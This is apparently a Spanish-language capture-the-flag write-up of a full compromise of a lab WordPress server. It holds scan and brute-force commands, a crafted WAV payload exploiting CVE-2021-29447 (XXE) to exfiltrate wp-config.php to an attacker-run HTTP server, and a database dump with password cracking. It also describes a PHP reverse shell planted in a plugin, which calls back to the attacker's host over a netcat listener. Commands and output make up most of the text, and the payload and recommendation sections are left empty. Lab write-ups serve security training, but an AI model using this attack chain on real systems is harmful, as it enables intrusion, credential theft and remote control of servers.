
El objetivo es realizar una evaluación de seguridad a gran escala de una aplicación web basada en WordPress, que culmine en un compromiso completo del servidor. La evaluación se centrará en explotar una vulnerabilidad específica del mundo real (CVE-2021-29447) para lograr el acceso inicial.
Objetivo del Proyecto: Demostrar una cadena de ataque completa sobre una instalación vulnerable de WordPress, explotando CVE-2021-29447 (XXE en la biblioteca de medios) para lograr ejecución remota de código y compromiso total del sistema.
Fase 1: Reconocimiento y Enumeración Escaneo de Red con Nmap:
bash Quick SYN scan to discover open ports nmap -sS -T4 10.201.3.95
Detailed version and script scanning nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initial_scan Resultados:
text PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 80/tcp open http Apache/2.4.18 (Ubuntu) |_http-generator: WordPress 5.6.2 3306/tcp open mysql MySQL 5.7.33 Enumeración de WordPress con WPScan:
bash User enumeration wpscan --url http://10.201.3.95/ --enumerate u
Password brute-force attack wpscan --url http://10.201.3.95/ --usernames test-corp --passwords passwords.txt Credenciales Obtenidas:
Usuario: test-corp | Contraseña: test
Usuario: corp-001 | Contraseña: teddybear (descifrada más tarde)
Fase 2: Acceso Inicial - Explotación de XXE (CVE-2021-29447) Creación de Archivo WAV Malicioso:
bash echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00%remote;%param;%send;]>\x00' > payload.wav Payload DTD Externo (yup.dtd):
xml
">Servidor HTTP para Exfiltración de Datos:
bash python3 -m http.server 8000 Script PHP de Decodificación de Datos:
php
Credenciales de Base de Datos Extraídas:
php define('DB_NAME', 'wordpressdb2'); define('DB_USER', 'thedarktangent'); define('DB_PASSWORD', 'sUp3rS3cret132'); define('DB_HOST', 'localhost'); Fase 3: Acceso a Base de Datos y Recolección de Credenciales Conexión MySQL:
bash mysql -h 10.201.3.95 -u thedarktangent -p Consultas SQL Ejecutadas:
sql SHOW DATABASES; USE wordpressdb2; SHOW TABLES; SELECT user_login, user_pass FROM wptry_users; Hashes de Usuario Obtenidos:
text +------------+------------------------------------+ | user_login | user_pass | +------------+------------------------------------+ | corp-001 | $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 | | test-corp | $P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 | +------------+------------------------------------+ Descifrado de Contraseñas con John the Ripper:
bash Create hash file cat > wp_hashes.txt << EOF corp-001:$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 test-corp:$P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 EOF
Crack hashes john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt john --show wp_hashes.txt Contraseñas Descifradas:
corp-001:teddybear
test-corp:test
Fase 4: Escalada de Privilegios y RCE Payload de Reverse Shell (Plugin Hello Dolly Modificado):
php
Listener de Netcat:
bash nc -nvlp 4444 Acceso Shell Obtenido:
text Connection received on 10.201.3.95 42314 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) Fase 5: Post-Explotación (Pendiente de Finalización) Comandos para la Próxima Sesión:
bash Flag hunting find / -name flag.txt 2>/dev/null find / -name root.txt 2>/dev/null find / -name user.txt 2>/dev/null
Privilege escalation enumeration sudo -l find / -perm -u=s -type f 2>/dev/null cat /etc/crontab ps aux uname -a cat /etc/os-release Hallazgos de Seguridad y Recomendaciones Vulnerabilidades Críticas Identificadas:
Recomendaciones de Mitigación:
Estado del Proyecto: 90% Completado - Reverse shell obtenido, captura de la bandera final y escalada de privilegios pendientes de nueva asignación de IP.
PARTE 2 ! BANDERA Fase Final: Post-Explotación y Captura de la Bandera Objetivo: Lograr el compromiso total del sistema y capturar la bandera final.
Acciones Realizadas:
Activación de Reverse Shell:
Editó el archivo del plugin hello.php en el panel de administración de WordPress (/wp-admin/plugin-editor.php)
Insertó un payload de reverse shell PHP configurado para conectarse de vuelta a nuestra máquina Kali (10.201.6.187:4444)
Ejecutó el payload accediendo a: http://ip-10-201-46-113.ec2.internal/wp-content/plugins/hello.php
Acceso Shell Exitoso:
Obtuvo una conexión reverse shell como usuario www-data
Salida del shell:
text Connection received on 10.201.46.113 46240 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) Exploración del Sistema de Archivos:
Descubrió el directorio de usuario: /home/stux/
Encontró el directorio de bandera: /home/stux/flag/
Ubicó el archivo de bandera: /home/stux/flag/flag.txt
Extracción de la Bandera:
Comando ejecutado: cat /home/stux/flag/flag.txt
Bandera capturada: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
Resumen Completo de la Cadena de Ataque
Principales Hallazgos de Seguridad Vulnerabilidades Críticas Explotadas:
Recomendaciones de Seguridad:
Conclusión El Proyecto Chimera demostró exitosamente una cadena de ataque completa desde el reconocimiento inicial hasta el compromiso total del sistema. El ejercicio destacó cómo una vulnerabilidad aparentemente menor de análisis XML (CVE-2021-29447) puede ser encadenada con malas prácticas de seguridad para lograr la toma de control completa del sistema.
El proyecto enfatizó la importancia de:
Estado Final: ✅ 100% Completado - Todos los objetivos alcanzados, bandera capturada: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
El Proyecto Chimera sirve como un poderoso recordatorio de que la seguridad requiere defensa en profundidad, ya que una sola vulnerabilidad puede llevar al compromiso total del sistema cuando se combina con otras debilidades de seguridad.
| Fase | Técnica Utilizada | Resultado |
|---|
| 1. Reconocimiento | Escaneo con Nmap | Descubrió WordPress 5.6.2 en Apache/2.4.18 |
| 2. Acceso Inicial | WPScan + Descifrado de contraseñas | Obtuvo acceso de administrador con test-corp:test |
| 3. Explotación de Vulnerabilidad | CVE-2021-29447 (XXE) | Extrajo wp-config.php mediante un archivo WAV malicioso |
| 4. Exfiltración de Datos | Recolección de credenciales MySQL | Obtuvo credenciales de BD: thedarktangent:sUp3rS3cret132 |
| 5. Escalada de Privilegios | Funcionalidad de administrador de WordPress | Editó plugin para obtener acceso reverse shell |
| 6. Compromiso Final | Exploración del sistema | Capturó la bandera final en /home/stux/flag/flag.txt |